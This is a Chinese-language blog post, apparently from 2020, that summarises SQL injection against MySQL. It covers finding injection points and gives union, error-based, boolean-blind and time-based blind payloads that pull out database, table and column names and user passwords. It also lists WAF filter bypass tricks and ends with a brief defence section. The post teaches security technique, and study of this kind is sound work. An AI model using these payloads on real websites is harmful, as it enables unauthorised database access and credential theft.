SQL注入总结

0X00 引言

 

众所周知,会存在SQL注入是因为服务端未对用户输入的内容进行过滤。所以,要发现注入点,只需在可控参数后面注入即可。而注入点又分为整型和字符型。那么,如何进行注入呢?

0X01 注入点发现

 

只需在参数后面,添加单引号(‘)、双引号(“)、或者单引号加括号(‘))等等。如果页面回显不正常或者报错,再继续添加 and 1=1,回显正常;and 1=2,回显不正常或报错,即可判断存在注入。

0X02 注入点类型判断

 

1 and 1=1    (整型)

1 and 1=2    (整型)

1' or '1'='1   (字符型)

1' or '1'='2   (字符型)

 

0X03 注意事项

①注入点后面无论什么类型都需加上%23#注释。

②通常,整型注入发生在id=xx(数字)后面,字符型注入发生在英文单词后

SQL注入在中大型网站存在的可能性已经很小了,小型类型的网站如公司、酒店等还有很多

 

1X00 回显点

利用order by N(数字),一个个尝试,即可判断存在多少个回显点

1X01 联合注入

1 union select 1,schema_name from information_schema.schemata#        获取数据库名

 

1 union select 1,table_name from information_schema.tables where table_schema=database()#    获取数据表名

 

1 union select 1,column_name from information_schema.columns where table_name='users' and table_schema='dvwa'#        获取数据列名

 

1 union select user,password from users#        获取账号密码

注:字符型注入后需加单引号等,具体情况具体分析。

整型注入,即id=xx,前面需加--id=xx

 

 

1X02 报错注入

1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#        获取数据库名

    

1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e))#        获取数据表个数

 

1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#                        获取所有数据表名

 

1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’表名’),0x7e))# 

 获取数据表列名

 

1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=database() and table_name='表名'),0x7e))#               获取数据列个数

 

1X03 布尔盲注

1' and length(database())=n(数字)#                            获取数据库长度

 

1' and ascii(substr(database(),n,1))=n(逐一拆解)              获取数据库名

 

1' and (select count(*) from information_schema.tables where table_schema=database())=n       

获取数据表个数

 

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=n 获取数据表长度

 

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit n,1),n,1))=n# 获取数据表名

 

1' and (select length(column_name) from information_schema.columns where table_name=’表名’ limit n,1)=n

 

1’ and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii     获取数据列名

 

1’ and (select count(列名) from 表名)=数量     获取数据的数量

and (select length(列名) from 表名 limit n,1)=长度     获取数据的长度

and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii     获取数据

①过滤了substr函数用如下函数:

left(str,index) 从左边第index开始截取  

right(str,index) 从右边第index开始截取  

substring(str,index) 从左边index开始截取    

mid(str,index,ken) 截取str index开始,截取len的长度  

lpad(str,len,padstr) rpad(str,len,padstr) str的左()两边填充给定的padstr到指定的长度len,返回填充的结果

过滤了等于号in()或like绕过

过滤了ascii()hex() bin() ord()

 

1X04 时间盲注

  • 猜解数据库长度

and if((select length(database()))=长度,sleep(6),0)

  • 猜解数据库名

and if((select ascii(substr(database(),位数,1))=ascii),sleep(6),0)

  • 判断表名的数量

and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)

  • 判断某个表名的长度

and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)

  • 逐位猜表名

and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii,sleep(6),0)

  • 判断列名数量

and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)

  • 判断某个列名的长度

and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)

  • 逐位猜列名

and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii,sleep(6),0)

  • 判断数据的数量

and if((select count(列名) from 表名)=个数,sleep(6),0)

  • 判断某个数据的长度

and if((select length(列名) from 表名)=长度,sleep(6),0)

  • 逐位猜数据

and if((select ascii(substr(列名,n,1)) from 表名)=ascii,sleep(6),0)

①过滤了sleep

benchmark(),这个函数第一个值填要执行的次数,第二个填写要执行的表达式

 

2X00 绕过技巧

1. 大小写绕过

UnioN sELect

 

2. 替代绕过

uniunionin seselectlect

 

3. 双写绕过

 

4. 添加注释

如内联注释:/*!union*/

 

5. 使用16进制绕过特定字符

 

6. 宽字节Latin1默认编码

 

7. 各个字符以及函数的代替

 

8. 逗号被过滤:join代替

 

9.information_schema被过滤

innodb引擎可用mysql.innodb_table_statsinnodb_index_stats,日志将会把表、键的信息记录到这两个表中

除此之外,系统表sys.schema_table_statistics_with_buffersys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema

 

10.and or && ||被过滤

可用运算符! ^ ~以及not xor来代替

 

:各类waf有不同的绕过技巧,如wts可通过+号代替空格绕过

 

 

3X00 SQL防御

  1. 开启magic_quotes_gpc

 

  1. 利用mysql_real_escape_string()、addslashes等函数过滤字符型注入;intval函数防御整数型注入。

 

  1. 编写pdo预编译进行防御(最稳妥)

 

  1. 对用户输入进行限制、过滤(如unionselect等等)

 

 

结语:

鉴于网上相关文章众多,所以这里只做一些简单总结还有一些小技巧,希望各位大佬轻喷。下一期做一篇实战案例,敬请期待~~~~~~

posted @ 2020-08-05 14:32  Cold灬  阅读(169)  评论(0编辑  收藏  举报